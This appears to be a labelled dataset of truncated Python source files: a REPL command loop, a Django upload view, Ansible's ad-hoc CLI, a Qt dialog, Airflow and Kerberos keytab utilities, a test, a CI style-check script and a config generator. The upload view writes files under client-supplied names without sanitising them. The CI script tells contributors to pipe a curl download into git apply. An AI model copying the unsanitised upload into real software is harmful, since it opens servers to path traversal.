cmdloop(self, intro=None): """"""Repeatedly issue a prompt, accept input, parse an initial prefix off the received input, and dispatch to action methods, passing them the remainder of the line as argument. """""" self.preloop() try: if intro is not None: self.intro = intro if self.intro: self.stdout.write(str(self.intro)+""\n"") stop = None while not stop: if self.cmdqueue: line = self.cmdqueue.pop(0) else: if self.use_rawinput: try: line = input(self.prompt) except EOFError: line = 'EOF' else: self.editline.prompt = self.prompt line = self.editline.readline() if not len(line): line = 'EOF' else: line = line.rstrip('\r\n') line = self.precmd(line) stop = self.onecmd(line) stop = self.postcmd(stop, line) self.postloop() finally: pass def precmd(self, line): """"""Hook method executed just before the command line is interpreted, but after the input prompt is generated and issued. """""" return line def postcmd(self, stop, line): """"""Hook method executed just after a command dispatch is finished."""""" return stop def preloop(self): """"""Hook method executed once when the cmdloop() method is called."""""" pass def postloop(self): """"""Hook method executed once when the cmdloop() method is about to return. """""" pass def parseline(self, line): """"""Parse the line into a command name and a string containing the arguments. Returns a tuple containing (command, args, line). 'command' and 'args' may be None if the line couldn't be parsed. """""" line = line.strip() if not line: return None, None, line elif line[0] == '?': line = 'help ' + line[1:] elif line[0] == '!': if hasattr(self, 'do_shell'): line = 'shell ' + line[1:] else: return None, None, line i, n = 0, len(line) while i < n and line[i] in self.identchars: i = i+1 cmd, arg = line[:i], line[i:].strip() return cmd, arg, line def onecmd(self, line): """"""Interpret the argument as though it had been typed in response to the prompt. This may be overridden, but should not normally need to be; see the precmd() and postcmd() methods for useful execution hooks. The return value is a flag indicating whether interpretation of commands by the interpreter should stop. """""" cmd, arg, line = self.parseline(line) if not line: return self.emptyline() if cmd is None: return self.default(line) self.lastcmd = line if line == 'EOF' : print("""") print(""Bye"") sys.exit(0) if cmd == '': return self.default(line) else: try: func = getattr(self, 'do_' + cmd) except AttributeError: return self.default(line) return func(arg) def emptyline(self): """"""Called when an empty line is entered in response to the prompt. If this method is not overridden, it repeats the last nonempty command entered. """""" if self.lastcmd: return self.onecmd(self.lastcmd) def default(self, line): """"""Called on an input line when the command prefix is not recognized. If this method is not overridden, it prints an error message and returns. """""" self.stdout.write('*** Unknown syntax: %s (%d)\n' % (line,len(line))) def completedefault(self, *ignored): """"""Method called to complete an input line when no command-specific complete_*() method is available. By default, it returns an empty list. """""" return [] def completenames(self, text, *ignored): dotext = 'do_'+text return [a[3:] for a in self.get_names() if a.startswith(dotext)] def complete(self, text, state): """"""Return the next possible completion for 'text'. If a command has not been entered, then complete against command list. Otherwise try to call complete_ to get list of completions. """""" if state == 0: origline = self.editline.get_line_buffer() line = origline.lstrip() stripped = len(origline) - len(line) begidx = self.editline.get_begidx() - stripped endidx = self.editline.get_endidx() - stripped if begidx>0: cmd, args, foo = self.parseline(line) if cmd == '': compfunc = self.completedefault else: try: compfunc = getattr(self, 'complete_' + cmd) except AttributeError: compfunc = self.completedefault else: compfunc = self.completenames self.completion_matches = compfunc(text, line, begidx, endidx) try: return self.completion_matches[state] except IndexError: return None def get_names(self): # This method used to pull in base class attributes # at a time dir() didn't do it yet. return dir(self.__class__) def complete_help(self, *args): commands = set(self.completenames(*args)) topics = set(a[5:] for a in self.get_names() if a.startswith('help_' + args[0])) return list(commands | topics) def do_help(self, arg): 'List available commands with ""help"" or detailed help with ""help cmd"".' if arg: # XXX check arg syntax try: func = getattr(self, 'help_' + arg) except AttributeError: try: doc=getattr(self, 'do_' + arg).__doc__ if doc: self.stdout.write(""%s\n""%str(doc)) return except AttributeError: pass self.stdout.write(""%s\n""%str(self.nohelp % (arg,))) return func() else: names = self.get_names() cmds_doc = [] cmds_undoc = [] help = {} for name in names: if name[:5] == 'help_': help[name[5:]]=1 names.sort() # There can be duplicates if routines overridden prevname = '' for name in names: if name[:3] == 'do_': if name == prevname: continue prevname = name cmd=name[3:] if cmd in help: cmds_doc.append(cmd) del help[cmd] elif getattr(self, name).__doc__: cmds_doc.append(cmd) else: cmds_undoc.append(cmd) self.stdout.write(""%s\n""%str(self.doc_leader)) self.print_topics(self.doc_header, cmds_doc, 15,80) self.print_topics(self.misc_header, list(help.keys()),15,80) self.print_topics(self.undoc_header, cmds_undoc, 15,80) def print_topics(self, header, cmds, cmdlen, maxcol): if cmds: self.stdout.write(""%s\n""%str(header)) if self.ruler: self.stdout.write(""%s\n""%str(self.ruler * len(header))) self.columnize(cmds, maxcol-1) self.stdout.write(""\n"") def columnize(self, list, displaywidth=80): """"""Display a list of strings as a compact set of columns. Each column is only as wide as necessary. Columns are separated by two spaces (one was not legible enough). """""" if not list: self.stdout.write(""\n"") return nonstrings = [i for i in range(len(list)) if not isinstance(list[i], str)] if nonstrings: raise TypeError(""list[i] not a string for i in %s"" % "", "".join(map(str, nonstrings))) size = len(list) if size == 1: self.stdout.write('%s\n'%str(list[0])) return # Try every row count from 1 upwards for nrows in range(1, len(list)): ncols = (size+nrows-1) // nrows colwidths = [] totwidth = -2 for col in range(ncols): colwidth = 0 for row in range(nrows): i = row + nrows*col if i >= size: break x = list[i] colwidth = max(colwidth, len(x)) colwidths.append(colwidth) totwidth += colwidth + 2 if totwidth > displaywidth: break if totwidth <= displaywidth: break else: nrows = len(list) ncols = 1 colwidths = [0] for row in range(nrows): texts = [] for col in range(ncols): i = row + nrows*col if i >= size: x = """" else: x = list[i] texts.append(x) while texts and not texts[-1]: del texts[-1] for col in range(len(texts)): texts[col] = texts[col].ljust(colwidths[col]) self.stdout.write(""%s\n""%str("" "".join(texts))) class MyCmd(ElCmd,object): def do_bleep(self, s): print(""bleep!"") def do_blob(self, s): print(""blob!"") def do_bob(self, s): print(""bob!"") def do_mods(self, s): print(sys.modules.keys()) if __name__ == '__main__': mc = MyCmd() mc.cmdloop() ",1 "ngo.core.urlresolvers import reverse from django.contrib.auth.decorators import login_required def centres(request): #Python练习项目管理中心Center return render(request, 'centres/centres.html') def upload(request): #文件上传 return render(request, 'centres/upload.html') def uploadfile(request): import os if request.method == ""POST"": # 请求方法为POST时,进行处理 myFile =request.FILES.get(""myfile"", None) # 获取上传的文件,如果没有文件,则默认为None if not myFile: #return HttpResponse(""no files for upload!"") return render(request, 'centres/upload.html',{'what':'no file for upload!'}) upfile = open(os.path.join(""D:\\xHome\\data\\upload"",myFile.name),'wb+') # 打开特定的文件进行二进制的写操作 for chunk in myFile.chunks(): # 分块写入文件 upfile.write(chunk) upfile.close() #return HttpResponse(""upload over!"") return render(request, 'centres/upload.html', {'what':'upload over!'})",1 "G or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import (absolute_import, division, print_function) __metaclass__ = type from ansible import constants as C from ansible import context from ansible.cli import CLI from ansible.cli.arguments import optparse_helpers as opt_help from ansible.errors import AnsibleError, AnsibleOptionsError from ansible.executor.task_queue_manager import TaskQueueManager from ansible.module_utils._text import to_text from ansible.parsing.splitter import parse_kv from ansible.playbook import Playbook from ansible.playbook.play import Play from ansible.plugins.loader import get_all_plugin_loaders from ansible.utils.display import Display display = Display() class AdHocCLI(CLI): ''' is an extra-simple tool/framework/API for doing 'remote things'. this command allows you to define and run a single task 'playbook' against a set of hosts ''' def init_parser(self): ''' create an options parser for bin/ansible ''' super(AdHocCLI, self).init_parser(usage='%prog [options]', desc=""Define and run a single task 'playbook' against"" "" a set of hosts"", epilog=""Some modules do not make sense in Ad-Hoc (include,"" "" meta, etc)"") opt_help.add_runas_options(self.parser) opt_help.add_inventory_options(self.parser) opt_help.add_async_options(self.parser) opt_help.add_output_options(self.parser) opt_help.add_connect_options(self.parser) opt_help.add_check_options(self.parser) opt_help.add_runtask_options(self.parser) opt_help.add_vault_options(self.parser) opt_help.add_fork_options(self.parser) opt_help.add_module_options(self.parser) opt_help.add_basedir_options(self.parser) # options unique to ansible ad-hoc self.parser.add_option('-a', '--args', dest='module_args', help=""module arguments"", default=C.DEFAULT_MODULE_ARGS) self.parser.add_option('-m', '--module-name', dest='module_name', help=""module name to execute (default=%s)"" % C.DEFAULT_MODULE_NAME, default=C.DEFAULT_MODULE_NAME) def post_process_args(self, options, args): '''Post process and validate options for bin/ansible ''' options, args = super(AdHocCLI, self).post_process_args(options, args) if len(args) < 1: raise AnsibleOptionsError(""Missing target hosts"") elif len(args) > 1: raise AnsibleOptionsError(""Extraneous options or arguments"") display.verbosity = options.verbosity self.validate_conflicts(options, runas_opts=True, vault_opts=True, fork_opts=True) options = self.normalize_become_options(options) return options, args def _play_ds(self, pattern, async_val, poll): check_raw = context.CLIARGS['module_name'] in ('command', 'win_command', 'shell', 'win_shell', 'script', 'raw') mytask = {'action': {'module': context.CLIARGS['module_name'], 'args': parse_kv(context.CLIARGS['module_args'], check_raw=check_raw)}} # avoid adding to tasks that don't support it, unless set, then give user an error if context.CLIARGS['module_name'] not in ('include_role', 'include_tasks') or any(frozenset((async_val, poll))): mytask['async_val'] = async_val mytask['poll'] = poll return dict( name=""Ansible Ad-Hoc"", hosts=pattern, gather_facts='no', tasks=[mytask]) def run(self): ''' create and execute the single task playbook ''' super(AdHocCLI, self).run() # only thing left should be host pattern pattern = to_text(context.CLIARGS['args'][0], errors='surrogate_or_strict') sshpass = None becomepass = None (sshpass, becomepass) = self.ask_passwords() passwords = {'conn_pass': sshpass, 'become_pass': becomepass} # dynamically load any plugins get_all_plugin_loaders() loader, inventory, variable_manager = self._play_prereqs() try: hosts = self.get_host_list(inventory, context.CLIARGS['subset'], pattern) except AnsibleError: if context.CLIARGS['subset']: raise else: hosts = [] display.warning(""No hosts matched, nothing to do"") if context.CLIARGS['listhosts']: display.display(' hosts (%d):' % len(hosts)) for host in hosts: display.display(' %s' % host) return 0 if context.CLIARGS['module_name'] in C.MODULE_REQUIRE_ARGS and not context.CLIARGS['module_args']: err = ""No argument passed to %s module"" % context.CLIARGS['module_name'] if pattern.endswith("".yml""): err = err + ' (did you mean to run ansible-playbook?)' raise AnsibleOptionsError(err) # Avoid modules that don't work with ad-hoc if context.CLIARGS['module_name'] in ('import_playbook',): raise AnsibleOptionsError(""'%s' is not a valid action for ad-hoc commands"" % context.CLIARGS['module_name']) play_ds = self._play_ds(pattern, context.CLIARGS['seconds'], context.CLIARGS['poll_interval']) play = Play().load(play_ds, variable_manager=variable_manager, loader=loader) # used in start callback playbook = Playbook(loader) playbook._entries.append(play) playbook._file_name = '__adhoc_playbook__' if self.callback: cb = self.callback elif context.CLIARGS['one_line']: cb = 'oneline' # Respect custom 'stdout_callback' only with enabled 'bin_ansible_callbacks' elif C.DEFAULT_LOAD_CALLBACK_PLUGINS and C.DEFAULT_STDOUT_CALLBACK != 'default': cb = C.DEFAULT_STDOUT_CALLBACK else: cb = 'minimal' run_tree = False if context.CLIARGS['tree']: C.DEFAULT_CALLBACK_WHITELIST.append('tree') C.TREE_DIR = context.CLIARGS['tree'] run_tree = True # now create a task queue manager to execute the play self._tqm = None try: self._tqm = TaskQueueManager( inventory=inventory, variable_manager=variable_manager, loader=loader, passwords=passwords, stdout_callback=cb, run_additional_callbacks=C.DEFAULT_LOAD_CALLBACK_PLUGINS, run_tree=run_tree, forks=context.CLIARGS['forks'], ) self._tqm.send_callback('v2_playbook_on_start', playbook) result = self._tqm.run(play) self._tqm.send_callback('v2_playbook_on_stats', self._tqm._stats) finally: if self._tqm: self._tqm.cleanup() if loader: loader.cleanup_all_tmp_files() return result ",1 "also available at # http://www.gnu.org/licenses/gpl-3.0.html import re from PyQt5.QtCore import Qt, pyqtSlot from PyQt5.QtWidgets import ( QPushButton, QLineEdit, QVBoxLayout, QGridLayout, QDialog, QTableView, QAbstractItemView, QSpacerItem, QSizePolicy, QHeaderView, ) from .exclude_list_table import ExcludeListTable from core.exclude import AlreadyThereException from hscommon.trans import trget tr = trget(""ui"") class ExcludeListDialog(QDialog): def __init__(self, app, parent, model, **kwargs): flags = Qt.CustomizeWindowHint | Qt.WindowTitleHint | Qt.WindowSystemMenuHint super().__init__(parent, flags, **kwargs) self.app = app self.specific_actions = frozenset() self._setupUI() self.model = model # ExcludeListDialogCore self.model.view = self self.table = ExcludeListTable(app, view=self.tableView) # Qt ExcludeListTable self._row_matched = False # test if at least one row matched our test string self._input_styled = False self.buttonAdd.clicked.connect(self.addStringFromLineEdit) self.buttonRemove.clicked.connect(self.removeSelected) self.buttonRestore.clicked.connect(self.restoreDefaults) self.buttonClose.clicked.connect(self.accept) self.buttonHelp.clicked.connect(self.display_help_message) self.buttonTestString.clicked.connect(self.onTestStringButtonClicked) self.inputLine.textEdited.connect(self.reset_input_style) self.testLine.textEdited.connect(self.reset_input_style) self.testLine.textEdited.connect(self.reset_table_style) def _setupUI(self): layout = QVBoxLayout(self) gridlayout = QGridLayout() self.buttonAdd = QPushButton(tr(""Add"")) self.buttonRemove = QPushButton(tr(""Remove Selected"")) self.buttonRestore = QPushButton(tr(""Restore defaults"")) self.buttonTestString = QPushButton(tr(""Test string"")) self.buttonClose = QPushButton(tr(""Close"")) self.buttonHelp = QPushButton(tr(""Help"")) self.inputLine = QLineEdit() self.testLine = QLineEdit() self.tableView = QTableView() triggers = ( QAbstractItemView.DoubleClicked | QAbstractItemView.EditKeyPressed | QAbstractItemView.SelectedClicked ) self.tableView.setEditTriggers(triggers) self.tableView.setSelectionMode(QTableView.ExtendedSelection) self.tableView.setSelectionBehavior(QTableView.SelectRows) self.tableView.setShowGrid(False) vheader = self.tableView.verticalHeader() vheader.setSectionsMovable(True) vheader.setVisible(False) hheader = self.tableView.horizontalHeader() hheader.setSectionsMovable(False) hheader.setSectionResizeMode(QHeaderView.Fixed) hheader.setStretchLastSection(True) hheader.setHighlightSections(False) hheader.setVisible(True) gridlayout.addWidget(self.inputLine, 0, 0) gridlayout.addWidget(self.buttonAdd, 0, 1, Qt.AlignLeft) gridlayout.addWidget(self.buttonRemove, 1, 1, Qt.AlignLeft) gridlayout.addWidget(self.buttonRestore, 2, 1, Qt.AlignLeft) gridlayout.addWidget(self.buttonHelp, 3, 1, Qt.AlignLeft) gridlayout.addWidget(self.buttonClose, 4, 1) gridlayout.addWidget(self.tableView, 1, 0, 6, 1) gridlayout.addItem(QSpacerItem(0, 0, QSizePolicy.Minimum, QSizePolicy.Expanding), 4, 1) gridlayout.addWidget(self.buttonTestString, 6, 1) gridlayout.addWidget(self.testLine, 6, 0) layout.addLayout(gridlayout) self.inputLine.setPlaceholderText(tr(""Type a python regular expression here..."")) self.inputLine.setFocus() self.testLine.setPlaceholderText(tr(""Type a file system path or filename here..."")) self.testLine.setClearButtonEnabled(True) # --- model --> view def show(self): super().show() self.inputLine.setFocus() @pyqtSlot() def addStringFromLineEdit(self): text = self.inputLine.text() if not text: return try: self.model.add(text) except AlreadyThereException: self.app.show_message(""Expression already in the list."") return except Exception as e: self.app.show_message(f""Expression is invalid: {e}"") return self.inputLine.clear() def removeSelected(self): self.model.remove_selected() def restoreDefaults(self): self.model.restore_defaults() def onTestStringButtonClicked(self): input_text = self.testLine.text() if not input_text: self.reset_input_style() return # If at least one row matched, we know whether table is highlighted or not self._row_matched = self.model.test_string(input_text) self.table.refresh() # Test the string currently in the input text box as well input_regex = self.inputLine.text() if not input_regex: self.reset_input_style() return compiled = None try: compiled = re.compile(input_regex) except re.error: self.reset_input_style() return if self.model.is_match(input_text, compiled): self.inputLine.setStyleSheet(""background-color: rgb(10, 200, 10);"") self._input_styled = True else: self.reset_input_style() def reset_input_style(self): """"""Reset regex input line background"""""" if self._input_styled: self.inputLine.setStyleSheet(self.styleSheet()) self._input_styled = False def reset_table_style(self): if self._row_matched: self._row_matched = False self.model.reset_rows_highlight() self.table.refresh() def display_help_message(self): self.app.show_message( tr( """"""\ These (case sensitive) python regular expressions will filter out files during scans.
\ Directores will also have their default state set to Excluded \ in the Directories tab if their name happens to match one of the selected regular expressions.
\ For each file collected, two tests are performed to determine whether or not to completely ignore it:
\
  • 1. Regular expressions with no path separator in them will be compared to the file name only.
  • 2. Regular expressions with at least one path separator in them will be compared to the full path to the file.

  • Example: if you want to filter out .PNG files from the ""My Pictures"" directory only:
    \ .*My\\sPictures\\\\.*\\.png

    \ You can test the regular expression with the ""test string"" button after pasting a fake path in the test field:
    \ C:\\\\User\\My Pictures\\test.png

    Matching regular expressions will be highlighted.
    \ If there is at least one highlight, the path or filename tested will be ignored during scans.

    \ Directories and files starting with a period '.' are filtered out by default.

    """""" ) ) ",1 "work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # ""License""); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from airflow.models import BaseOperator from airflow.utils.decorators import apply_defaults class DummyOperator(BaseOperator): """""" Operator that does literally nothing. It can be used to group tasks in a DAG. """""" ui_color = '#e8f7e4' @apply_defaults def __init__(self, *args, **kwargs) -> None: super().__init__(*args, **kwargs) def execute(self, context): pass ",1 "keytab entries. """""" import functools import struct # from http://pig.made-it.com/kerberos-etypes.html ETYPES = { 1: 'des-cbc-crc', 2: 'des-cbc-md4', 3: 'des-cbc-md5', 4: None, 5: 'des3-cbc-md5', 6: None, 7: 'des3-cbc-sha1', 9: 'dsaWithSHA1-CmsOID', 10: 'md5WithRSAEncryption-CmsOID', 11: 'sha1WithRSAEncryption-CmsOID', 12: 'rs2CBC-EnvOID', 13: 'rsaEncryption-EnvOID', 14: 'rsaES-OAEP-ENV-OID', 15: 'des-ede3-cbc-Env-OID', 16: 'des3-cbc-sha1-kd', 17: 'aes128-cts-hmac-sha1-96', 18: 'aes256-cts-hmac-sha1-96', 23: 'rc4-hmac', 24: 'rc4-hmac-exp', 65: 'subkey-experimental', } NTYPES = { 1: 'KRB5_NT_PRINCIPAL', 2: 'KRB5_NT_SRV_INST', 3: 'KRB5_NT_SRV_HST', 4: 'KRB5_NT_SRV_XHST', 5: 'KRB5_NT_UID', 6: 'KRB5_NT_X500_PRINCIPAL', 7: 'KRB5_NT_SMTP_NAME', 10: 'KRB5_NT_ENTERPRISE_PRINCIPAL', 11: 'KRB5_NT_WELLKNOWN', 4294967166: 'KRB5_NT_ENT_PRINCIPAL_AND_ID', 4294967167: 'KRB5_NT_MS_PRINCIPAL_AND_ID', 4294967168: 'KRB5_NT_MS_PRINCIPAL', } class KeytabEntry(object): """"""An entry in the Keytab."""""" def __init__(self, data=None): self._data = data self._size = len(data) self._realm = None self._components = [] self._name_type = None self._timestamp = None self._vno8 = None self._key = None self._vno = None self._i = 0 if data: self._parse() def __base_check(self, other): if (self.name != other.name or self.realm != other.realm or self.keyblock['type'] != other.keyblock['type']): return False return True def __eq__(self, other): if not isinstance(other, KeytabEntry): return NotImplemented if self._data: return self._data.__eq__(other) return False def __hash__(self): return self._data.__hash__() def __str__(self): return '%s@%s/%s VNO:%d' % (self.name, self._realm, self.key_type, self.vno) def __repr__(self): return self.__str__() # The use of properties is mainly to reinforce that this is read-only @property def vno(self): return self._vno or self._vno8 @property def realm(self): return self._realm @property def timestamp(self): return self._timestamp @property def name(self): return '/'.join(self._components) @property def name_type(self): return NTYPES.get(self._name_type, self._name_type) @property def key(self): return self._key['key'] @property def key_type(self): return ETYPES.get(self._key['type'], self._key['type']) @property def ts(self): return self._timestamp def loads(self, data): self._data = data self._size = len(data) self._parse() def _encode_size(self): return struct.pack('!i', self._size) def dumps(self): value = struct.pack('!i', self._size) + self._data return value def _unpack(self, fmt, size): value = struct.unpack(fmt, self._data[self._i:self._i + size]) self._i += size return value[0] def _uint8(self): n = self._unpack('!B', 1) return n def _uint16(self): n = self._unpack('!H', 2) return n def _int32(self): n = self._unpack('!i', 4) return n def _uint32(self): n = self._unpack('!I', 4) return n def _counted_octet_string(self): size = self._uint16() counted_string = self._unpack('!%ds' % size, size) return counted_string def _keyblock(self): key = { 'type': self._uint16(), 'key': self._counted_octet_string() } return key def _parse(self): self._i = 0 n_components = self._uint16() self._realm = self._counted_octet_string() for i in range(n_components): self._components.append(self._counted_octet_string()) self._name_type = self._uint32() self._timestamp = self._uint32() self._vno8 = self._uint8() self._key = self._keyblock() # special case. may not be present if self._size - self._i >= 4: self._vno = self._uint32() class Keytab(object): def __init__(self, f=None): self.entries = {} self.format_version = None if f: self.load(f) def load(self, f): entries = set() format_version = struct.unpack('!H', f.read(2))[0] if format_version != 0x502: raise Exception(""Unsupport file format %x"" % format_version) self.format_version = format_version size_packed = f.read(4) while size_packed != '': size = struct.unpack('!i', size_packed)[0] if size > 0: entries.add(KeytabEntry(f.read(size))) else: f.read(-size) size_packed = f.read(4) self.add_entries(entries) def add_entry(self, entry): r = self.entries.setdefault(entry.realm, {}) n = r.setdefault(entry.name, {}) if entry.key_type in n: old_entry = n[entry.key_type] if entry.vno > old_entry.vno: self.entries[entry.realm][entry.name][entry.key_type] = entry else: n[entry.key_type] = entry def add_entries(self, entries): for e in entries: self.add_entry(e) def save(self, f): f.write(struct.pack('!H', 0x502)) for e in self.entry_list(): f.write(e.dumps()) def entry_list(self): entries = [] for realm in self.entries: for name in self.entries[realm]: for keytype in self.entries[realm][name]: entries.append(self.entries[realm][name][keytype]) return entries def main(main_args): merged_keytab = Keytab() for f in main_args.keytabs: merged_keytab.add_entries(Keytab(f).entry_list()) f.close() outfile = open(main_args.outfile, 'w') merged_keytab.save(outfile) if __name__ == '__main__': import argparse parser = argparse.ArgumentParser(description='Merge keytabs') parser.add_argument('keytabs', metavar='ktfile', type=file, nargs='+', help='a kerberos keytab to read in') parser.add_argument('-o', '--outfile', dest='outfile', type=str, help='output file') args = parser.parse_args() main(args) ",1 "ay not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS-IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """"""Tests for methods in the action registry."""""" from __future__ import absolute_import # pylint: disable=import-only-modules from __future__ import unicode_literals # pylint: disable=import-only-modules from core.domain import action_registry from core.tests import test_utils class ActionRegistryUnitTests(test_utils.GenericTestBase): """"""Test for the action registry."""""" def test_action_registry(self): """"""Do some sanity checks on the action registry."""""" self.assertEqual( len(action_registry.Registry.get_all_actions()), 3) ",1 "stribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # ESPResSo is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os if not os.environ.get('CI_COMMIT_REF_NAME', '').startswith('PR-'): print(""Not a pull request. Exiting now."") exit(0) import subprocess import gh_post SIZELIMIT = 10000 TOKEN_ESPRESSO_CI = 'style.patch' # Delete obsolete posts gh_post.delete_comments_by_token(TOKEN_ESPRESSO_CI) MESSAGE = '''Your pull request does not meet our code formatting \ rules. {header}, please do one of the following: - You can download a patch with my suggested changes \ [here]({url}/artifacts/raw/style.patch), inspect it and make \ changes manually. - You can directly apply it to your repository by running \ `curl {url}/artifacts/raw/style.patch | git apply -`. - You can run `maintainer/CI/fix_style.sh` to automatically fix your coding \ style. This is the same command that I have executed to generate the patch \ above, but it requires certain tools to be installed on your computer. You can run `gitlab-runner exec docker style` afterwards to check if your \ changes worked out properly. Please note that there are often multiple ways to correctly format code. \ As I am just a robot, I sometimes fail to identify the most aesthetically \ pleasing way. So please look over my suggested changes and adapt them \ where the style does not make sense.\ ''' # If the working directory is not clean, post a new comment if subprocess.call([""git"", ""diff-index"", ""--quiet"", ""HEAD"", ""--""]) != 0: patch = subprocess.check_output(['git', '--no-pager', 'diff']) if len(patch) <= SIZELIMIT: comment = 'Specifically, I suggest you make the following changes:' comment += '\n```diff\n' comment += patch.decode('utf-8').replace('`', r'\`').strip() comment += '\n```\n' comment += 'To apply these changes' else: comment = 'To fix this' comment = MESSAGE.format(header=comment, url=gh_post.CI_JOB_URL) if patch: assert TOKEN_ESPRESSO_CI in comment gh_post.post_message(comment) ",1 "he ""License""); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # """"""Extracts OpenStack config option info from module(s)."""""" from __future__ import print_function import argparse import imp import os import re import socket import sys import textwrap from oslo.config import cfg import six import stevedore.named from climate.openstack.common import gettextutils from climate.openstack.common import importutils gettextutils.install('climate') STROPT = ""StrOpt"" BOOLOPT = ""BoolOpt"" INTOPT = ""IntOpt"" FLOATOPT = ""FloatOpt"" LISTOPT = ""ListOpt"" DICTOPT = ""DictOpt"" MULTISTROPT = ""MultiStrOpt"" OPT_TYPES = { STROPT: 'string value', BOOLOPT: 'boolean value', INTOPT: 'integer value', FLOATOPT: 'floating point value', LISTOPT: 'list value', DICTOPT: 'dict value', MULTISTROPT: 'multi valued', } OPTION_REGEX = re.compile(r""(%s)"" % ""|"".join([STROPT, BOOLOPT, INTOPT, FLOATOPT, LISTOPT, DICTOPT, MULTISTROPT])) PY_EXT = "".py"" BASEDIR = os.path.abspath(os.path.join(os.path.dirname(__file__), ""../../../../"")) WORDWRAP_WIDTH = 60 def generate(argv): parser = argparse.ArgumentParser( description='generate sample configuration file', ) parser.add_argument('-m', dest='modules', action='append') parser.add_argument('-l', dest='libraries', action='append') parser.add_argument('srcfiles', nargs='*') parsed_args = parser.parse_args(argv) mods_by_pkg = dict() for filepath in parsed_args.srcfiles: pkg_name = filepath.split(os.sep)[1] mod_str = '.'.join(['.'.join(filepath.split(os.sep)[:-1]), os.path.basename(filepath).split('.')[0]]) mods_by_pkg.setdefault(pkg_name, list()).append(mod_str) # NOTE(lzyeval): place top level modules before packages pkg_names = sorted(pkg for pkg in mods_by_pkg if pkg.endswith(PY_EXT)) ext_names = sorted(pkg for pkg in mods_by_pkg if pkg not in pkg_names) pkg_names.extend(ext_names) # opts_by_group is a mapping of group name to an options list # The options list is a list of (module, options) tuples opts_by_group = {'DEFAULT': []} if parsed_args.modules: for module_name in parsed_args.modules: module = _import_module(module_name) if module: for group, opts in _list_opts(module): opts_by_group.setdefault(group, []).append((module_name, opts)) # Look for entry points defined in libraries (or applications) for # option discovery, and include their return values in the output. # # Each entry point should be a function returning an iterable # of pairs with the group name (or None for the default group) # and the list of Opt instances for that group. if parsed_args.libraries: loader = stevedore.named.NamedExtensionManager( 'oslo.config.opts', names=list(set(parsed_args.libraries)), invoke_on_load=False, ) for ext in loader: for group, opts in ext.plugin(): opt_list = opts_by_group.setdefault(group or 'DEFAULT', []) opt_list.append((ext.name, opts)) for pkg_name in pkg_names: mods = mods_by_pkg.get(pkg_name) mods.sort() for mod_str in mods: if mod_str.endswith('.__init__'): mod_str = mod_str[:mod_str.rfind(""."")] mod_obj = _import_module(mod_str) if not mod_obj: raise RuntimeError(""Unable to import module %s"" % mod_str) for group, opts in _list_opts(mod_obj): opts_by_group.setdefault(group, []).append((mod_str, opts)) print_group_opts('DEFAULT', opts_by_group.pop('DEFAULT', [])) for group in sorted(opts_by_group.keys()): print_group_opts(group, opts_by_group[group]) def _import_module(mod_str): try: if mod_str.startswith('bin.'): imp.load_source(mod_str[4:], os.path.join('bin', mod_str[4:])) return sys.modules[mod_str[4:]] else: return importutils.import_module(mod_str) except Exception as e: sys.stderr.write(""Error importing module %s: %s\n"" % (mod_str, str(e))) return None def _is_in_group(opt, group): ""Check if opt is in group."" for value in group._opts.values(): # NOTE(llu): Temporary workaround for bug #1262148, wait until # newly released oslo.config support '==' operator. if not(value['opt'] != opt): return True return False def _guess_groups(opt, mod_obj): # is it in the DEFAULT group? if _is_in_group(opt, cfg.CONF): return 'DEFAULT' # what other groups is it in? for value in cfg.CONF.values(): if isinstance(value, cfg.CONF.GroupAttr): if _is_in_group(opt, value._group): return value._group.name raise RuntimeError( ""Unable to find group for option %s, "" ""maybe it's defined twice in the same group?"" % opt.name ) def _list_opts(obj): def is_opt(o): return (isinstance(o, cfg.Opt) and not isinstance(o, cfg.SubCommandOpt)) opts = list() for attr_str in dir(obj): attr_obj = getattr(obj, attr_str) if is_opt(attr_obj): opts.append(attr_obj) elif (isinstance(attr_obj, list) and all(map(lambda x: is_opt(x), attr_obj))): opts.extend(attr_obj) ret = {} for opt in opts: ret.setdefault(_guess_groups(opt, obj), []).append(opt) return ret.items() def print_group_opts(group, opts_by_module): print(""[%s]"" % group) print('') for mod, opts in opts_by_module: print('#') print('# Options defined in %s' % mod) print('#') print('') for opt in opts: _print_opt(opt) print('') def _get_my_ip(): try: csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) csock.connect(('8.8.8.8', 80)) (addr, port) = csock.getsockname() csock.close() return addr except socket.error: return None def _sanitize_default(name, value): """"""Set up a reasonably sensible default for pybasedir, my_ip and host."""""" if value.startswith(sys.prefix): # NOTE(jd) Don't use os.path.join, because it is likely to think the # second part is an absolute pathname and therefore drop the first # part. value = os.path.normpath(""/usr/"" + value[len(sys.prefix):]) elif value.startswith(BASEDIR): return value.replace(BASEDIR, '/usr/lib/python/site-packages') elif BASEDIR in value: return value.replace(BASEDIR, '') elif value == _get_my_ip(): return '10.0.0.1' elif value in (socket.gethostname(), socket.getfqdn()) and 'host' in name: return 'climate' elif value.strip() != value: return '""%s""' % value return value def _print_opt(opt): opt_name, opt_default, opt_help = opt.dest, opt.default, opt.help if not opt_help: sys.stderr.write('WARNING: ""%s"" is missing help string.\n' % opt_name) opt_help = """" opt_type = None try: 